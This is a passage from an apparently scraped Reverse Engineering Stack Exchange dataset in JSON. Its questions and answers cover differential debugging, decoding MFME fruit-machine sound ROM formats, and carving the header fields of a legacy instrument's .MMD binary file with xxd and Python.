        "Answer": "<p>sounds like you need something that implements <em>differential debugging</em> to quickly pinpoint the code which was executed in one case (e.g. clicking the button) but not others (not clicking). An early tool implementing this approach was <a href=\"https://github.com/OpenRCE/paimei\" rel=\"nofollow noreferrer\">PaiMei</a> by Pedram Amini. Unfortunately it's been abandoned and probably won't work with recent software. IDA has a <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1634.shtml\" rel=\"nofollow noreferrer\">trace recording/diffing feature</a> which may be used for this purpose. You can also write your own tool based on some debugging framework or a DBI engine like PIN.</p>\n"
    },
    {
        "Id": "15964",
        "CreationDate": "2017-07-31T09:02:39.247",
        "Body": "<p>I have two files that have the extension <code>.P1</code> and <code>.P2</code></p>\n\n<p>These files are ROM sound files from a particular 'real world' fruit machine (also known as a slot machine).</p>\n\n<p>There is some Fruit Machine emulation software (MFME) that reads both the sound ROM files and the game ROM files in order recreate the fruit machine within a PC.</p>\n\n<p>I'm playing around creating my own fruit machine with the editor side of MFME, based on an existing fruit machine, and want to edit the sounds on this machine.</p>\n\n<p>Unfortunately MFME doesn't have the functionality to edit sound files, only to read them.</p>\n\n<p>The sound ROMs are apparently comprise of all the sounds packed one after another with a table at the start pointing to where each sound file is (lots of short beeps, buzzes, pings etc as you would expect from a fruit machine).</p>\n\n<p>Does anyone know what software I would need to edit these files in order to insert my own sounds? I originally thought I would need a disassembler but when I downloaded one it wouldn't open them as they weren't either .exe or .dll files (I tried changing the extension of the file but the disassembler still knew they weren't the correct type of file).</p>\n\n<p>How can I go about reverse engineering these files in order to edit them? Any ideas?</p>\n\n<p>Thanks. :-)</p>\n",
        "Title": "How to edit a type of sound file used with a fruit machine emulator?",
        "Tags": "|disassembly|",
        "Answer": "<p>The <a href=\"http://agemame.mameworld.info/?u=/MFME/\" rel=\"nofollow noreferrer\">MFME source code</a> is available to read.</p>\n\n<p>You'll probably want to start with interface.cpp, which has most of the logic for deciding which sound format to load in <code>TForm1::Load(String)</code>. There are at least ten or so different formats from the look of it.</p>\n\n<p>You can then take a look at <code>sample.cpp</code> which has the implementation for loading files. <code>LoadJPMSound</code> is of particular interest, but there are other formats to consider.</p>\n\n<p>Here are the key facts for JPM sounds:</p>\n\n<ul>\n<li>File starts with a 1-byte sample count prefix (so I guess 255 samples max?) </li>\n<li>Next comes a 4-byte magic number (0x5569A55A)</li>\n<li>After that there's some sort of page table which describes the addresses of the sound data within the ROM.</li>\n<li>Each audio \"page\" has a 1-byte flag value at the start. The two MSBs specify the kind of sound.\n\n<ul>\n<li>00 means silence, where the remainder of the byte (i.e. <code>flag &amp; 0x3F</code>) specifies how long the silence should be in increments of 20 samples. A zero value here means an empty audio sample.</li>\n<li>01 means there are 256 \"nibbles\" of audio. I'm not sure if this means 4-bit values but I haven't seen any bit manipulation in the decoding. The sample rate is set to 160000 divided by the remainder of the flag value plus one.</li>\n<li>10 means the same as above, except the number of \"nibbles\" is stored as a byte following the flag.</li>\n<li>11 means that the sample is a repeating loop. The number of repeats is computed as <code>(flag &amp; 0x7) + 1</code>.</li>\n</ul></li>\n</ul>\n\n<p>For YMZ samples, the file contains 250 sample entries, each consisting of:</p>\n\n<ul>\n<li>16-bit masked sample count, compute as <code>count = (((value &amp; 0xFF00) &gt;&gt; 8) / 6) * 1000</code></li>\n<li>High byte of buffer pointer.</li>\n<li>High byte of sample pointer.</li>\n<li>Mid byte of buffer pointer.</li>\n<li>Mid byte of sample pointer.</li>\n<li>Low byte of buffer pointer.</li>\n<li>Low byte of sample pointer.</li>\n<li>Sample data in the following format:\n\n<ul>\n<li>4-bit YMZ280B format sample data (channel A)</li>\n<li>4-bit YMZ280B format sample data (channel B)</li>\n</ul></li>\n</ul>\n\n<p>The YMZ280B format is step-based format where each next signal value in the wave is encoded as the difference from the previous signal value (or 0 for the first sample). The 4-bit value is an index to a lookup table containing the possible steps: The step LUT is calculated as follows:</p>\n\n<pre><code>// nib from 0000 to 1111\nfor (nib = 0; nib &lt; 16; nib++) {\n    int value = (nib &amp; 0x07) * 2 + 1;\n    diff_lookup[nib] = (nib &amp; 0x08) ? -value : value;\n}\n</code></pre>\n\n<p>That should hopefully get you started. The source code should get you the rest.</p>\n"
    },
    {
        "Id": "15969",
        "CreationDate": "2017-07-31T15:45:46.927",
        "Body": "<p>I have these data files that are generated by a tool which was distributed by a company that is long defunct. I have been taking it apart with a binary file viewer (freeware from Proxoft, it is a great tool) and I am close to completion. Here is an image of the PDF generated by the tool from the data file:</p>\n\n<p><img src=\"https://i.stack.imgur.com/W0oNf.png\" alt=\"image\"></p>\n\n<p>The file contains a 320x320x8bit image, actually there are 4 bytes representing 4 images. The file length is 412900 bytes. There is a header of 3128 bytes, followed by the 320*320*4 byte image data, followed by a 172 byte footer. </p>\n\n<p>In the header there are human readable strings, followed by mostly zeroes with some non-zero bytes, that clearly have some pattern, which repeats then by another human readable header. This is the (encoded?) data I seek I believe.</p>\n\n<p>What I am asking here is for some expertise on decoding what appears to be the data I am trying to extract between items in the header and the footer. I have tried big endian, little endian, 1,2,4,8 byte views of the bytes, and I cannot figure it out. If someone can help me figure this out, it would be much appreciated. </p>\n\n<p>Here are some bytes showing human readable parts (from 3128 byte header), and the spaces in between:</p>\n\n<pre><code>001072 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 T E R M \u25e6 \u25e6 \u25e6 \u25e6\n001088 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001104 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 P I X E L C O U N T\n001120 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001136 \u25e6 \u25e6 \u25e6 \u25e6 V A L L E Y \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001152 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001168 \u25e6 \u25e6 P E A K \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001184 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001200 R M S \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001216 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 R A\n001232 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001248 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 R S \u25e6 \u25e6\n</code></pre>\n\n<p>Since I have no good way to post the actual data, I have uploaded it remotely:</p>\n\n<p><a href=\"http://www.rettc.com/binarydecode/\" rel=\"nofollow noreferrer\">http://www.rettc.com/binarydecode/</a></p>\n\n<p>.mmd is binary file, .pdf is pdf from the software, .bmp is my extracted image data, .png is an image of the pdf.</p>\n\n<p>So, if anyone can figure out how to decode the data in between the human readable items in the header and footer of this binary file, you will be officially recognized as \"da man!\" or \"da woman!\" by me eternally.</p>\n\n<p>Thanks for taking a look!</p>\n",
        "Title": "Decoding binary data structure",
        "Tags": "|binary-analysis|",
        "Answer": "<p>the header consists of 2280 bytes or 0x8e8 bytes as indicated in the first DIRECTORY</p>\n\n<p>each of the item is 30 bytes or 0x1e bytes long </p>\n\n<p>so around 76 items can fit in the header</p>\n\n<p>each last dword in the item denotes the length of the item</p>\n\n<p>so DIRECTORY is 0x8e8<br>\nTITLE is 0x80 \ntime is 0x14</p>\n\n<p>the header can be dumped with xxd like this </p>\n\n<pre><code>:\\&gt;xxd -s 0 -g30 -c 30 -l 0x8e8 21SIDEB.MMD\n0000000: 4449524543544f525900460084d846006936430000014b000100e8080000  DIRECTORY.F...F.i6C...K.......\n000001e: 5449544c4500000000000000000000000000000000020100800080000000  TITLE.........................\n000003c: 54494d450000000000000000000000000000000000020100140014000000  TIME..........................\n000005a: 444154450000000000000000000000000000000000020100140014000000  DATE..........................\n0000078: 444154415459504500000000000000000000000000020100140014000000  DATATYPE......................\n0000096: 444151000000000000000000000000000000000000020100140014000000  DAQ...........................\n00000b4: 504843000000000000000000000000000000000000020100140014000000  PHC...........................\n00000d2: 5245434f4e00000000000000000000000000000000020100140014000000  RECON.........................\n00000f0: 4445544d41534b0000000000000000000000000000020100140014000000  DETMASK.......................\n000010e: 5445524d41534b0000000000000000000000000000020100140014000000  TERMASK.......................\n000012c: 4441544d41534b0000000000000000000000000000020100140014000000  DATMASK.......................\n000014a: 52454646494c450000000000000000000000000000020100140014000000  REFFILE.......................\n0000168: 494e535452554d454e540000000000000000000000020100140014000000  INSTRUMENT....................\n0000186: 53455155454e434500000000000000000000000000040100010002000000  SEQUENCE......................\n00001a4: 53455249414c000000000000000000000000000000020100140014000000  SERIAL........................\n00001c2: 504152544944000000000000000000000000000000020100140014000000  PARTID........................\n00001e0: 585354414745000000000000000000000000000000060100010004000000  XSTAGE........................\n00001fe: 595354414745000000000000000000000000000000060100010004000000  YSTAGE........................\n000021c: 5a5354414745000000000000000000000000000000060100010004000000  ZSTAGE........................\n000023a: 544845544153544147450000000000000000000000060100010004000000  THETASTAGE....................\n0000258: 5350454349414c5048415345000000000000000000020100140014000000  SPECIALPHASE..................\n0000276: 5350454349414c4441544100000000000000000000020100140014000000  SPECIALDATA...................\n0000294: 46494c5445524c4142454c00000000000000000000020100140014000000  FILTERLABEL...................\n00002b2: 4d41474c4142454c00000000000000000000000000020100140014000000  MAGLABEL......................\n00002d0: 43414d4552415f4c4142454c000000000000000000020100140014000000  CAMERA_LABEL..................\n00002ee: 545542455f4c4142454c0000000000000000000000020100140014000000  TUBE_LABEL....................\n000030c: 58504958454c000000000000000000000000000000060100010004000000  XPIXEL........................\n000032a: 59504958454c000000000000000000000000000000060100010004000000  YPIXEL........................\n0000348: 5a5343414c45000000000000000000000000000000060100010004000000  ZSCALE........................\n0000366: 4f524947494e580000000000000000000000000000040100010002000000  ORIGINX.......................\n0000384: 4f524947494e590000000000000000000000000000040100010002000000  ORIGINY.......................\n00003a2: 505a54534849465400000000000000000000000000060100010004000000  PZTSHIFT......................\n00003c0: 4d4f44544852455348000000000000000000000000060100010004000000  MODTHRESH.....................\n00003de: 534d4f4f5448000000000000000000000000000000060100010004000000  SMOOTH........................\n00003fc: 424144504958454c00000000000000000000000000060100010004000000  BADPIXEL......................\n000041a: 524547494f4e530000000000000000000000000000040100010002000000  REGIONS.......................\n0000438: 5445524d0000000000000000000000000000000000020100140014000000  TERM..........................\n0000456: 504958454c434f554e540000000000000000000000050100010004000000  PIXELCOUNT....................\n0000474: 56414c4c4559000000000000000000000000000000060100010004000000  VALLEY........................\n0000492: 5045414b0000000000000000000000000000000000060100010004000000  PEAK..........................\n00004b0: 524d53000000000000000000000000000000000000060100010004000000  RMS...........................\n00004ce: 524100000000000000000000000000000000000000060100010004000000  RA............................\n00004ec: 525300000000000000000000000000000000000000060100010004000000  RS............................\n000050a: 435300000000000000000000000000000000000000060100010004000000  CS............................\n0000528: 523100000000000000000000000000000000000000060100010004000000  R1............................\n0000546: 523200000000000000000000000000000000000000060100010004000000  R2............................\n0000564: 413100000000000000000000000000000000000000060100010004000000  A1............................\n0000582: 4d45414e0000000000000000000000000000000000060100010004000000  MEAN..........................\n00005a0: 5445524d53000000000000000000000000000000000701001c00e0000000  TERMS.........................\n00005be: 444154410000000000000000000000000000000000064001400100400600  DATA..................@.@..@..\n00005dc: 4d4f44454e414d4500000000000000000000000000020100140014000000  MODENAME......................\n00005fa: 545542454e414d4500000000000000000000000000020100140014000000  TUBENAME......................\n0000618: 52454c41594e414d45000000000000000000000000020100140014000000  RELAYNAME.....................\n0000636: 43414d4552414e414d450000000000000000000000020100140014000000  CAMERANAME....................\n0000654: 4f50455241544f5200000000000000000000000000020100140014000000  OPERATOR......................\n0000672: 4c4f544e554d424552000000000000000000000000020100140014000000  LOTNUMBER.....................\n0000690: 504152544e554d4245520000000000000000000000020100140014000000  PARTNUMBER....................\n00006ae: 58444543494d4154494f4e00000000000000000000040100010002000000  XDECIMATION...................\n00006cc: 59444543494d4154494f4e00000000000000000000040100010002000000  YDECIMATION...................\n00006ea: 46494c544552574156454c454e4754480000000000060100010004000000  FILTERWAVELENGTH..............\n0000708: 4f424a4543544956454d4147000000000000000000060100010004000000  OBJECTIVEMAG..................\n0000726: 4f424a4543544956454e4100000000000000000000060100010004000000  OBJECTIVENA...................\n0000744: 545542454d41470000000000000000000000000000060100010004000000  TUBEMAG.......................\n0000762: 52454c41594d414700000000000000000000000000060100010004000000  RELAYMAG......................\n0000780: 43414d45524158504958454c000000000000000000060100010004000000  CAMERAXPIXEL..................\n000079e: 43414d45524159504958454c000000000000000000060100010004000000  CAMERAYPIXEL..................\n00007bc: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00007da: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00007f8: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000816: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000834: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000852: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000870: 000000000000000000000000000000000000000000000000000000000000  ..............................\n000088e: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00008ac: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00008ca: 000000000000000000000000000000000000000000000000000000000000  ..............................\n</code></pre>\n\n<p>the title ican be dumped like this </p>\n\n<pre><code>:\\&gt;xxd -s 0x8e8 -g16 -l 0x80 21SIDEB.MMD\n00008e8: 32312053494445204200736500000000  21 SIDE B.se....\n00008f8: 0000000088f61200000000006cf91200  ............l...\n0000908: 8f04447eb08e427e7419dd73b825ea73  ..D~..B~t..s.%.s\n0000918: 400000000300000044f71200b825ea73  @.......D....%.s\n0000928: a825ea73b8f612002cf712000042e673  .%.s....,....B.s\n0000938: ffffffff44f7120058f7120004f71200  ....D...X.......\n0000948: f27ce273489ceb00fd99eb0090224700  .|.sH........\"G.\n0000958: 84d8460014d94600d87c420040010000  ..F...F..|B.@...\n</code></pre>\n\n<p>time date and datatype</p>\n\n<pre><code>:\\&gt;xxd -s 0x968 -g16 -l 0x14 21SIDEB.MMD\n0000968: 31363a30333a35340000736500000000  16:03:54..se....\n0000978: 00000000                          ....\n\n:\\&gt;xxd -s 0x97c -g16 -l 0x14 21SIDEB.MMD\n000097c: 323031372d30372d3131006500000000  2017-07-11.e....\n000098c: 00000000                          ....\n\n:\\&gt;xxd -s 0x990 -g16 -l 0x14 21SIDEB.MMD\n0000990: 53555246414345004f4e00004f464600  SURFACE.ON..OFF.\n00009a0: 44454255                          DEBU\n</code></pre>\n\n<p>based on this the data should start at 0xc38</p>\n\n<pre><code>&gt;&gt;&gt; import struct\n&gt;&gt;&gt; fin = open(\"21sideb.mmd\" ,\"rb\")\n&gt;&gt;&gt; for i in range(0x1a,30*76,30):\n...     fin.seek(i)\n...     print \"0x%x+\" % struct.unpack(\"i\",fin.read(4)),\n...\n0x8e8+ 0x80+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+\n 0x4+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x2+ 0x2+ 0x4+ 0x4+ 0x4+ 0x4+ 0x2+ 0x14+ 0x4+ 0x4+ 0x\n4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0xe0+ 0x64000+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x2+\n0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+ 0x0+\n&gt;&gt;&gt;\n</code></pre>\n\n<p>ccalc > 0x8e8+ 0x80+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x2+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x4+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x14+ 0x4+ 0x4+ 0x4+ 0x2+ 0x2+ 0x4+ 0x4+ 0x4+ 0x4+ 0x2+ 0x14+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0x4+ 0xe0</p>\n\n<p>ans = 0x0C38</p>\n\n<p>python script to rip the file into pieces as denoted in the header</p>\n\n<pre><code>import struct\nfin = open(\"21sideb.mmd\",\"rb\")\nitemaddr = 0\n\nfor i in range (0x1a,30*75,30):\n    fin.seek(i+4)\n    print str(fin.read(15)),\n    fin.seek(i)                             \n    addone = struct.unpack(\"i\",fin.read(4)) \n    itemaddr += addone[0];                  # addr of NEXTITEM \n    fin.seek(i+30)\n    addtwo = struct.unpack(\"i\",fin.read(4)) # size of NEXTITEM    \n    fin.seek(itemaddr)    \n    print \"size = %s bytes  ItemData = %s\\n\" % ( str(hex(addtwo[0])) ,  hex(itemaddr))\n    if(itemaddr != 0xc38):\n        print struct.unpack( (str(addtwo[0]) + \"s\"),fin.read(addtwo[0]))\n        print \"\\n\"\n\nfin.close()\n</code></pre>\n\n<p>each item seperately printed </p>\n\n<pre><code> C:\\&gt;python carvemmd.py TITLE size = 0x80 bytes ItemData = 0x8e8 \n('21 SIDE \nB\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\xf6\\x12\\x00\\x00\\x00\\x00\\x00l \n\\xf9\\x12\\x00\\x8f\\x04D~\\xb0\\x8eB~t\\x19\\xdds\\xb8%\\xeas@\\x00\\x00\\x00\\x03\\x00\n\\x00\\x00D\\xf7\\x12\\x00\\xb8%\\xeas\\xa8%\\xeas\\xb8\\xf6\\x12\\x00,\\xf7\\x12\\x00\\x00B\n\\xe6s\\xff\\xff\\xff\\xffD\\xf7\\x12\\x00X\\xf7\\x12\\x00\\x04\\xf7\\x12\\x00\\xf2|\\xe2sH\n\\x9c\\xeb\\x00\\xfd\\x99\\xeb\\x00\\x90\"G\\x00\\x84\\xd8F\\x00\\x14\\xd9F\\x00\\xd8|B\\x00@\n\\x01\\x00\\x00',) \nTIME size = 0x14 bytes ItemData = 0x968 \n('16:03:54\\x00\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nDATE size = 0x14 bytes ItemData = 0x97c \n('2017-07-11\\x00e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nDATATYPE size = 0x14 bytes ItemData = 0x990 \n('SURFACE\\x00ON\\x00\\x00OFF\\x00DEBU',) \nDAQ size = 0x14 bytes ItemData = 0x9a4 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nPHC size = 0x14 bytes ItemData = 0x9b8 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nRECON size = 0x14 bytes ItemData = 0x9cc \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nDETMASK size = 0x14 bytes ItemData = 0x9e0 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nTERMASK size = 0x14 bytes ItemData = 0x9f4 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nDATMASK size = 0x14 bytes ItemData = 0xa08 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nREFFILE size = 0x14 bytes ItemData = 0xa1c \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nINSTRUMENT size = 0x14 bytes ItemData = 0xa30 \n('Smooth Phase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nSEQUENCE size = 0x2 bytes ItemData = 0xa44 \n('\\x00\\x00',) \nSERIAL size = 0x14 bytes ItemData = 0xa46 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nPARTID size = 0x14 bytes ItemData = 0xa5a \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nXSTAGE size = 0x4 bytes ItemData = 0xa6e \n('\\x00\\x00\\x00\\x00',) \nYSTAGE size = 0x4 bytes ItemData = 0xa72 \n('\\x00\\x00\\x00\\x00',) \nZSTAGE size = 0x4 bytes ItemData = 0xa76 \n('\\x00\\x00\\x00\\x00',) \nTHETASTAGE size = 0x4 bytes ItemData = 0xa7a \n('\\x00\\x00\\x00\\x00',) \nSPECIALPHASE size = 0x14 bytes ItemData = 0xa7e \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nSPECIALDATA size = 0x14 bytes ItemData = 0xa92 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nFILTERLABEL size = 0x14 bytes ItemData = 0xaa6 \n('520 nm\\x00 B\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nMAGLABEL size = 0x14 bytes ItemData = 0xaba \n('20X\\x00nm\\x00 B\\x00se\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nCAMERA_LABEL size = 0x14 bytes ItemData = 0xace \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nTUBE_LABEL size = 0x14 bytes ItemData = 0xae2 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x \n00\\x00\\x00',) \nXPIXEL size = 0x4 bytes ItemData = 0xaf6 \n('H\\xe1\\xfa&gt;',) \nYPIXEL size = 0x4 bytes ItemData = 0xafa \n('H\\xe1\\xfa&gt;',) \nZSCALE size = 0x4 bytes ItemData = 0xafe \n('\\x00\\x00\\x80?',) \nORIGINX size = 0x2 bytes ItemData = 0xb02 \n('\\x00\\x00',) \nORIGINY size = 0x2 bytes ItemData = 0xb04 \n('\\x00\\x00',) \nPZTSHIFT size = 0x4 bytes ItemData = 0xb06 \n('\\x00\\x00\\x00\\x00',) \nMODTHRESH size = 0x4 bytes ItemData = 0xb0a \n('\\x00\\x00\\x00\\x00',) \nSMOOTH size = 0x4 bytes ItemData = 0xb0e \n('\\x00\\x00\\x00\\x00',) \nBADPIXEL size = 0x4 bytes ItemData = 0xb12 \n('\\xbf\\x87*Y',) \nREGIONS size = 0x2 bytes ItemData = 0xb16 \n('\\x00\\x00',) \nTERM size = 0x14 bytes ItemData = 0xb18 \n('NONE\\x00\\x00\\x00\\x00TERMS\\x00\\x00\\x00MEAN',) \nPIXELCOUNT size = 0x4 bytes ItemData = 0xb2c \n('\\x00\\x00\\x00\\x00',) \nVALLEY size = 0x4 bytes ItemData = 0xb30 \n('\\x00\\x00\\x00\\x00',) \nPEAK size = 0x4 bytes ItemData = 0xb34 \n('\\x00\\x00\\x00\\x00',) \nRMS size = 0x4 bytes ItemData = 0xb38 \n('\\x00\\x00\\x00\\x00',) \nRA size = 0x4 bytes ItemData = 0xb3c \n('\\x00\\x00\\x00\\x00',) \nRS size = 0x4 bytes ItemData = 0xb40 \n('\\x00\\x00\\x00\\x00',) \nCS size = 0x4 bytes ItemData = 0xb44 \n('\\x00\\x00\\x00\\x00',) \nR1 size = 0x4 bytes ItemData = 0xb48 \n('\\x00\\x00\\x00\\x00',) \nR2 size = 0x4 bytes ItemData = 0xb4c \n('\\x00\\x00\\x00\\x00',) \nA1 size = 0x4 bytes ItemData = 0xb50 \n('\\x00\\x00\\x00\\x00',) \nMEAN size = 0x4 bytes ItemData = 0xb54 \n('\\x00\\x00\\x00\\x00',) \nTERMS size = 0xe0 bytes ItemData = 0xb58 \n('\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x 00\\x00\\x00\\x00\\x00',) \nDATA size = 0x64000 bytes ItemData = 0xc38 \nMODENAME size = 0x14 bytes ItemData = 0x64c38 \n('Smooth Phase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nTUBENAME size = 0x14 bytes ItemData = 0x64c4c \n('1X Body\\x00hase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nRELAYNAME size = 0x14 bytes ItemData = 0x64c60 \n('1X Relay\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nCAMERANAME size = 0x14 bytes ItemData = 0x64c74 \n('1/2\" CCD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nOPERATOR size = 0x14 bytes ItemData = 0x64c88 \n('125\\x00 CCD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nLOTNUMBER size = 0x14 bytes ItemData = 0x64c9c \n('I9W1R\\x00CD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nPARTNUMBER size = 0x14 bytes ItemData = 0x64cb0 \n('39530\\x00CD\\x00ase\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',) \nXDECIMATION size = 0x2 bytes ItemData = 0x64cc4 \n('\\x01\\x00',) \nYDECIMATION size = 0x2 bytes ItemData = 0x64cc6 \n('\\x01\\x00',) \nFILTERWAVELENGT size = 0x4 bytes ItemData = 0x64cc8 \n('\\xb8\\x1e\\x05?',) \nOBJECTIVEMAG size = 0x4 bytes ItemData = 0x64ccc \n('\\x00\\x00\\xa0A',) \nOBJECTIVENA size = 0x4 bytes ItemData = 0x64cd0 \n('\\xcd\\xcc\\xcc&gt;',) \nTUBEMAG size = 0x4 bytes ItemData = 0x64cd4 \n('\\x00\\x00\\x80?',) \nRELAYMAG size = 0x4 bytes ItemData = 0x64cd8 \n('\\x00\\x00\\x80?',) \nCAMERAXPIXEL size = 0x4 bytes ItemData = 0x64cdc \n('\\xcd\\xcc\\x1cA',) \nCAMERAYPIXEL size = 0x4 bytes ItemData = 0x64ce0 \n('\\xcd\\xcc\\x1cA',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes ItemData = 0x64ce4 \n('',) \nsize = 0x0 bytes 